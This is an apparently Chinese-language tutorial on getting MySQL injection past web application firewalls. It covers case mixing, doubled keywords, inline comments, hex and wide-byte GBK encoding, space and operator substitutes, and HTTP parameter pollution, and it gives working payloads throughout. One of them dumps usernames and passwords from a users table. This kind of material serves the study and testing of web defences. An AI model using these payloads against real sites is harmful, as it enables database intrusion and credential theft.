MySQL注入绕过WAF的基础方式
字数 2228 2025-08-15 21:34:01
MySQL注入绕过WAF的基础方式
1. 大小写绕过
当WAF过滤时没有匹配大小写的情况时,可以使用大小写混合的方式绕过:
SeLECt * from table;
2. 双写绕过
当WAF将禁止的字符直接删除时(如使用preg_replace()或str_replace()将关键词替换为空字符串),可以使用双写嵌套绕过:
or→oorrand→aandndselect→seselectlectunion→uniunionon
原理:删除一个关键字后,剩下的部分可以重新组合成完整的关键字。
3. 内联注释绕过
MySQL特有的内联注释语法:
/*! MySQL特有的语法 */
示例:
SELECT /*! STRAIGHT_JOIN*/ col1 FROM table1,table2 WHERE ...
添加版本号限制(仅当MySQL版本≥指定版本时执行):
CREATE TABLE t1(a INT, KEY (a)) /*!50110 KEY_BLOCK_SIZE=1024*/
绕过WAF示例:
select bbb from table1 where aaa='' union /*! select database()*/;
注意:不能将关键词用注释分开(某些老版本可能支持):
select bbb from table1 where balabala='' union se/*!lect database()*/;
4. 16进制绕过
当表名或特定字符被过滤时,可使用16进制编码:
select column_name from information_schema.columns where table_name=0x7573657273;
(0x7573657273为"users"的16进制编码)
5. 编码绕过技术
宽字节注入
利用条件:
- 查询参数被单引号包围
- 传入的单引号被转义符
\转义(使用addslashes()、mysql_real_escape_string()等函数) - 数据库编码为GBK
利用方式:
id=-1%DF' union select 1,user(),3%23
原理:单引号'被转义为\'(即%5c%27),添加%df构成%df%5c%27,在GBK编码中%df%5c是汉字"連",使单引号逃逸。
POST请求示例:
uname=%df%27 and 1=2 UNION SELECT 1,(SELECT GROUP_CONCAT(username,password SEPARATOR 0x3c62723e) FROM users) #&passwd=2
Latin1编码绕过
MySQL表默认编码为latin1,当设置为utf8时:
username=admin%c2
存储至表中变为"admin"(%c2-%ef之间的任意字符均可)
6. 字符替代技术
逻辑运算符替代
and→&&or→||
注意:&需URL编码为%26
空格替代
可使用以下字符替代空格:
%09- TAB键(水平)%0a- 新建一行%0c- 新的一页%0d- return功能%0b- TAB键(垂直)%a0- 空格+- 加号
比较运算符替代
=→like、regexp、in
7. HTTP参数污染(HPP)
不同Web服务器对重复参数的处理:
| HTTP后端 | 解析结果 | 示例 |
|---|---|---|
| ASP.NET/IIS | 拼接所有值 | par1=val1,val2 |
| ASP/IIS | 拼接所有值 | par1=val1,val2 |
| PHP/Apache | 取最后一个值 | par1=val2 |
| PHP/Zeus | 取最后一个值 | par1=val2 |
| JSP/Servlet/Tomcat | 取第一个值 | par1=val1 |
HPP攻击示例:
http://webApplication/showproducts.asp?prodID=9 /*&prodID=*/UNION /*&prodID=*/SELECT 1 &prodID=2 &prodID=3 FROM /*&prodID=*/Users /*&prodID=*/ WHERE id=3 --
8. 逗号被过滤的绕过
使用JOIN替代
-1 union select * from (select 1)a join (select 2)b join (select 3)c%23
LIMIT替代
limit 2,1 → limit 1 offset 2
SUBSTR替代
substr(database(),5,1) → substr(database() from 5 for 1)
或
substr(database() from 5)
IF/CASE替代
select if(database()='xxx',sleep(3),1)
或
SELECT 1 and DATABASE()='security' and sleep(3)
或
select case when database()='xxx' then sleep(5) else 0 end
9. LIMIT被过滤的绕过
select user from users group by user_id having user_id=1
10. 逻辑运算符被过滤的替代
可使用以下运算符替代:
!、^、~not、xor
11. 常用函数替代
字符串截取/拼接函数
| 函数 | 说明 |
|---|---|
| SUBSTR(str,N_start,N_length) | 字符串截取 |
| SUBSTRING() | 多种格式 |
| RIGHT(str,len) | 从右边截取 |
| LEFT(str,len) | 从左边截取 |
| RPAD(str,len,padstr) | 右方补齐 |
| LPAD(str,len,padstr) | 左方补齐 |
| MID(str,pos,len) | 同SUBSTRING |
| INSERT(str,pos,len,newstr) | 替换字符串 |
| CONCAT(str1,str2…) | 合并字符串 |
| GROUP_CONCAT(…) | 分组连接值 |
| MAKE_SET(bits,str1,str2,…) | 根据参数1返回其他参数值 |
其他函数替代
| 函数/语句 | 说明 |
|---|---|
| LENGTH(str) | 返回字符串长度 |
| PI() | 返回π值 |
| REGEXP "statement" | 正则匹配 |
| LIKE "statement" | 模式匹配 |
| RLIKE "statement" | 同REGEXP |
| LOCATE(substr,str,[pos]) | 返回子串位置 |
| POSITION(substr IN str) | 同LOCATE |
| LOWER(str)/LCASE(str) | 转小写 |
| UPPER(str)/UCASE(str) | 转大写 |
| ELT(N,str1,str2,…) | 根据N返回参数 |
| NULLIF(expr1,expr2) | 比较返回结果 |
| CHARSET(str) | 返回字符集 |
| DECODE(crypt_str,pass_str) | 解密字符串 |
数字替代
使用true、false、pi()、!、floor、~、ceil()、version()等数学运算函数组合替代。